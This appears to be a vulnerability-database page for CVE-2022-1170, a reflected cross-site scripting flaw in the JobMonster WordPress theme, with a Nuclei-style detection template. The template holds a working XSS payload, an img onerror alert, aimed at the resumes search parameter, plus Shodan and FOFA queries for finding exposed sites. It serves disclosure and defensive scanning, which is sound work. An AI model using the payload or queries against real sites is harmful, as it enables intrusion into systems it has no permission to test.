CVE-2022-1170: JobMonster < 4.5.2.9 - Cross-Site Scripting

2025-08-01 JobMonster PoC Public

Description

In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.

PoC

id: CVE-2022-1170

info:
  name: JobMonster < 4.5.2.9 - Cross-Site Scripting
  author: Akincibor,ritikchaddha
  severity: medium
  description: |
    In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the search form, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Upgrade to JobMonster theme version 4.5.2.9 or later.
  reference:
    - https://wpscan.com/vulnerability/2ecb18e6-b575-4a20-bd31-94d24f1d1efc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1170
    - https://themeforest.net/item/jobmonster-job-board-wordpress-theme/10965446
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1170
    cwe-id: CWE-79
    epss-score: 0.01789
    epss-percentile: 0.7723
    cpe: cpe:2.3:a:nootheme:jobmonster:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nootheme
    product: jobmonster
    framework: wordpress
    shodan-query: http.html:/wp-content/themes/noo-jobmonster
    fofa-query: body=/wp-content/themes/noo-jobmonster
    publicwww-query: "/wp-content/themes/noo-jobmonster"
  tags: cve,cve2022,wpscan,wp,wp-theme,wordpress,xss,jobmonster,nootheme,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'noo-resume'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022054cfc10c045d8eadef5654e28272b61285c1f81084a8fa4d6003d0e098a39002022056e788dc9e55f0bedace004e6660cf8265e4fc0e2f48796cf7cd31ad931297b2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities